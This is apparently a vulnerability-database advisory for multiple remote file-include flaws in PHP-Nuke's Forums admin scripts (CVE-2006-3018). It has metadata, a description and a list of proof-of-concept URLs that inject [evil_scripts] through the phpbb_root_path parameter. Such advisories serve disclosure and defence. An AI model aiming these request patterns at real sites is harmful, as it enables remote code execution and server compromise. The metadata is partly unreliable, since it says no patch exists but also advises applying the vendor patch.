PHP-Nuke Multiple Remote File-Include Vulnerabilities

vendor:

PHP-Nuke

by:

Not mentioned

7.5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: PHP-Nuke

Affected Version From: Not mentioned

Affected Version To: Not mentioned

Patch Exists: NO

Related CWE: CVE-2006-3018

CPE: a:phpnuke:php-nuke

Metasploit: https://www.rapid7.com/db/vulnerabilities/suse-cve-2006-3018/

Other Scripts:

Platforms Tested: Not mentioned

2006

PHP-Nuke Multiple Remote File-Include Vulnerabilities

The PHP-Nuke application fails to properly sanitize user-supplied input, resulting in multiple remote file-include vulnerabilities. An attacker can exploit these vulnerabilities to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This can lead to the compromise of the application and the underlying system.

Mitigation:

Apply the vendor-supplied patch or upgrade to a version that has fixed these vulnerabilities.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/18186/info

PHP-Nuke is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/modules/Forums/admin/index.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_ug_auth.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_board.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_disallow.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_forumauth.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_groups.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_ranks.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_styles.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_user_ban.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_words.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_avatar.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_db_utilities.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_forum_prune.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_forums.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_mass_email.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_smilies.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_ug_auth.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_users.php?phpbb_root_path=[evil_scripts]